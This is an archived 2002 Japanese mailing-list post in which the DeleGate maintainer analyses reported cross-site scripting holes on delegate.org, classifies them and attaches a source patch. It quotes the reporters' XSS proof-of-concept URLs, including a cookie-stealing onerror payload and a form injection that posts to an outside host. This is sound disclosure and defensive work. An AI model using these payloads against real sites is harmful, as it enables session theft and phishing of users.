Article delegate-en/1800 of [1-5169] on the server localhost:119
  upper oldest olders older1 this newer1 newers latest
search
[Top/Up] [oldest] - [Older+chunk] - [Newer+chunk] - [newest + Check]
[Reference:<_A1777@delegate-en.ML_>]
Newsgroups: mail-lists.delegate-en

[DeleGate-En] Re: Delegate.orgのクロスサイトスクリプティング脆弱性
01 Aug 2002 16:24:34 GMT feedback@delegate.org (Yutaka Sato)


 |また、修正に関するアナウンス時には、配布されているdelegateと関係する部分
 |と関係しない部分を明示していただけると幸いです。

具体的なご指摘ありがとうございました。問題について整理してみました。
まず、指摘して頂いた6つの例は、以下の3つの型に分類できます。

(A) ブラウザによっては、HTTPのエラーメッセージを解釈する際、それが
 text/plain型でも、text/html型と解釈してしまい、解釈・実行してしまう。
 HTTPサーバ側でリクエスト中の文字列を、text/plainの中に生でエコー
 している場合にも悪用可能となる。

(B) HTTPサーバ側でリクエスト中の文字列を、タグ中の属性値として(ブラ
 ウザに解釈されない)クォート文字列内にエコーしている場合に、リク
 エスト中に含まれるクォート文字を生でエコーしている場合に悪用が可能
 となる。

(C) ブラウザによっては、URL中のユーザ名の%XXをデコードしてAuthorization
 に入れてHTTPサーバに送信してしまう。
 HTTPサーバ側でAuthorization中のユーザ名を、text/htmlの中に生でエコ
 ーしてしまう場合に悪用可能となる。

(A)と(C)は特定のブラウザの仕様に問題あるいは疑問があります。また(A)は
ブラウザ(MSIE)のデフォルト設定では起こら無いようでもあります。
一方(B)はブラウザの仕様が正当でも発生する問題で、ブラウザの選択や設定
によって回避することができません。


次に、それぞれの問題の型と、問題を発生している主体を整理すると以下の
ようになります。

   型 応答データ生成主体 問題発生の条件となるDeleGateの利用法/設定
 --- --  ------------------ -----------------------------------------
 (1)  A  外部CGIスクリプト
 (2)  B  外部検索エンジン
 (3)  B  DeleGate本体    NNTP/HTTPマウントを公開している場合
 (4)  A  DeleGate本体    無条件
 (5)  C  DeleGate本体    区切り記号を含むユーザ名を認証成功してしまう場合
 (6)  A  外部CGIスクリプト

配布されているDeleGate一般に、(3)(4)(5)の問題を含んでいることになります。
(3)はB型であるという意味で特に問題です。ただ、(3)と(5)は例外的な利用法
ではあります。


それで、DeleGate本体での対策としては以下のようにすることにしました。
(プログラムの修正は同封のパッチのようになります)

(A)(4) <plaintext>「タグ」を応答(plain)テキストの先頭に挿入 (http.c)
 とっくに規格から外されたタグですが、実装上はほとんどのブラウザに通じます
(B)(3) 入力リクエストを解釈する前にクォート文字を削除 (gacl.c)
(C)(5) Authorzationを解釈する前に区切り記号を削除 (httphead.c)

www.delegate.orgについては、
(1)(6)も該当CGIスクリプトを同様に<plaintext>を挿入するように変更。
(2)については、www.delegate.org ではリクエストを受信した時点でURL中の
'" 'や "<" を無効にしてしまうようにして回避しています。これは実際、
ほとんどのサイトで副作用なく、ほとんどのクロスサイトスクリプティング
を簡単に無効にできる方法だと思いますので、DeleGateの次のメジャー版では
標準の仕様として簡単に設定できるようにしようと思っています。

-----------------------------------------------------------------------

On Wed, 17 Jul 2002 13:20:46 +0900 office <p6edabdyi-p5lznxiuvbxr.ml@ml.delegate.org> wrote:

--(1)
> http://www.delegate.org/<script>alert()</script>

これに対するエラー出力は外部CGIスクリプトによるもので、text/plain型です。

--(2)
> http://www.delegate.org/db/search?UI=kenko&USER=&CUSTOM=&TABLE=1&PASSWD=&NAME=feedback&SEARCH="><s>test</s>&ACTION=Search&SPACE=AND&AFTER=19971231&BEFORE="><script>alert()</script>&SORT=RDATE&COUNT=10&ACTION=DEFAULT&DISPLAY=FULL&LANG=en

これは、こちらで使用しているとある検索エンジンの(かなり古い版の。。。)
出力で、text/html の中に以下のようにエコーされます。

<INPUT name="BEFORE" value=""><script>alert()</script>" size=8>

--(3)
> http://www.delegate.org/mail-lists/delegate-en/?Admin&ADMINID="style="background-image:url(javascript:document.body.innerHTML='Here_is_XSS_vulnerability!';)

こちらは、DeleGate 自身の出力で、NNTPサーバをHTTP-DeleGateに
「マウント」している場合にだけアクセス可能となります。出力はtext/html
の中に、

<INPUT TYPE=text NAME=ADMINID SIZE=16 VALUE=""style="background-image:url(javascript:document.body.innerHTML='Here_is_XSS_vulnerability!';)">

On 07/24/02(15:22) in <_A1777@delegate-en.ML_>

--(4)
 |【脆弱点その4】
 |http://www.delegate.org/mail-lists/delegate-en/?Admin&ADMINID=
 |
 |の後に続く文字列として " を利用したExploit例は既に示したところですが、
 |この文字列を異常に長くした場合(460文字以上?)のエラー画面

これに対するエラー出力はDeleGate自身によるもので、text/plain です。

--(5)
 |【脆弱点その5】
 |delegateの設定権限を持つAdmin用の入り口とおぼしき
 |http://www.delegate.org/-/admin/authenticate
...
 |http://ID:pass@autehticated../
 |方式のアクセスによるExploit方法が使用可能です。
...
 |とすると、Exploit可能であることがわかります。しかし、この脆弱点に関して
 |文字数制限(。53文字以下?)があることがわかっています。それでも、
 |
 |http://<img%20src=""onerror="d=document,d.URL=d.refferer+d.cookie">:

まず、"<" をこのように生で書くことは、URLの定義上禁止されていると
思いますが[RFC2396:2.4.3. Excluded US-ASCII Characters]、実際のところ
広く許容されてしまっているようです。
一方、<img%20src の "%20" (space) は、このようにエスケープされたまま、
Authorization ヘッダとして送られなければならないものと思われます。
[RFC2396:7. Security Considerations]
Mozillaでは %20のまま送られますので、悪用ができません。

なお、このtext/html応答の中でユーザ名がエコーされるのは、そのユーザ名が
認証に成功しながら、アクセスは不許可の場合に限ります。(アクセスは不許可
なので、401応答が返り、ユーザは自分が送信させられたユーザ名をダイアログ
ボックスに見ることになりますね)
www.delegate.orgがこの異常なユーザ名をエコーしてしまうのは、それが認証に
は成功してしまうからです。それは、www.delegate.orgの認証サーバとして使って
いるFTPサーバが、どのようなUSER+PASSに対してもログイン成功を返すという、
特殊なものだからです(anonymous以外は実際にはログインしただけで何もでき
ない)ので、これは配布されているDeleGateに一般に起こる問題ではありません。

--(6)
On 07/25/02(10:27) in <_A1782@delegate-en.ML_>
 |http://www.delegate.org/><form/method="post"/action="http://www.office.ac/webform.cgi">...</form><!--

MSIEでも、<! は > で閉じてないとでコメントアウトにならないようですが。。。
また、エコーする以前に何らかのエラーメッセージが出るのが通例(この場合
Not Found:)なので、そのあたりまで消せないと異様な画面になりそうでは
あります。

                   @ @  
┌─┐┬┌──┬┐ //\^^ ( - ); {Do the more with the less -- B. Fuller}
├─┤│└─┐│ / 877m\_<   >_ <URL:http://www.delegate.org/delegate/>
┴ └┴──┘┴──────────────────────────────
佐藤豊@情報処理研究部門.産業技術総合研究所(独立行政法人)

diff -cr ../delegate7.9.10/src/http.c ./src/http.c
*** ../delegate7.9.10/src/http.c	Wed Jul 17 06:26:29 2002
--- ./src/http.c	Thu Aug  1 23:48:25 2002
***************
*** 2028,2033 ****
--- 2028,2034 ----
  	fprintf(tc,"Content-Type: text/plain\r\n");
  	fprintf(tc,"Connection: close\r\n");
  	fprintf(tc,"\r\n");
+ 	fprintf(tc,"<plaintext>\r\n");
  	if( reason )
  		fprintf(tc,"Bad Request: %s\r\n",reason);
  	else	fprintf(tc,"Bad Request\r\n");
***************
*** 2046,2051 ****
--- 2047,2053 ----
  	fprintf(tc,"Content-Type: text/plain\r\n");
  	fprintf(tc,"Connection: close\r\n");
  	fprintf(tc,"\r\n");
+ 	fprintf(tc,"<plaintext>\r\n");
  
  	fprintf(tc,"Bad Response:\r\n%s\r\n\r\n",BadServResponse);
  	fprintf(tc,"Original Request:\r\n%s\r\n\r\n",OREQ_MSG);
diff -cr ../delegate7.9.10/src/gacl.c ./src/gacl.c
*** ../delegate7.9.10/src/gacl.c	Tue Dec 21 19:23:38 1999
--- ./src/gacl.c	Thu Aug  1 23:58:50 2002
***************
*** 291,296 ****
--- 291,302 ----
  	FILE *admfp;
  	char line[1024];
  
+ 	nonxalpha_unescape(search,search,0);
+ 	if( np = strpbrk(search,"\"'<>") ){
+ 		sv1log("WARNING: ignore delimiters in query [%s]\n",search);
+ 		*np = 0;
+ 	}
+ 
  	sub[0] = 0;
  	sscanf(search,"Admin=%[^&]",sub);
  
diff -cr ../delegate7.9.10/src/httphead.c ./src/httphead.c
*** ../delegate7.9.10/src/httphead.c	Mon Jun 24 04:49:21 2002
--- ./src/httphead.c	Fri Aug  2 00:45:46 2002
***************
*** 1160,1165 ****
--- 1160,1174 ----
  	}
  	wordscanX(cp,xaval,avsiz);
  	str_from64(xaval,strlen(xaval),aval,avsiz);
+ 	if( strcasecmp(atype,"basic") == 0 ){
+ 		char *dp = wordscanY(aval,xaval,sizeof(xaval),"^:");
+ 		if( cp = strpbrk(xaval,"\"'<>") ){
+ 			sv1log("WARNING: erase delimiter in Authorization[%s]\n",
+ 				xaval);
+ 			*cp = 0;
+ 			Strrplc(aval,dp-aval,xaval);
+ 		}
+ 	}
  	return 2;
  }
  HTTP_getAuthorization(Conn,proxy,ident,decomp)

  admin search upper oldest olders older1 this newer1 newers latest
[Top/Up] [oldest] - [Older+chunk] - [Newer+chunk] - [newest + Check]
@_@V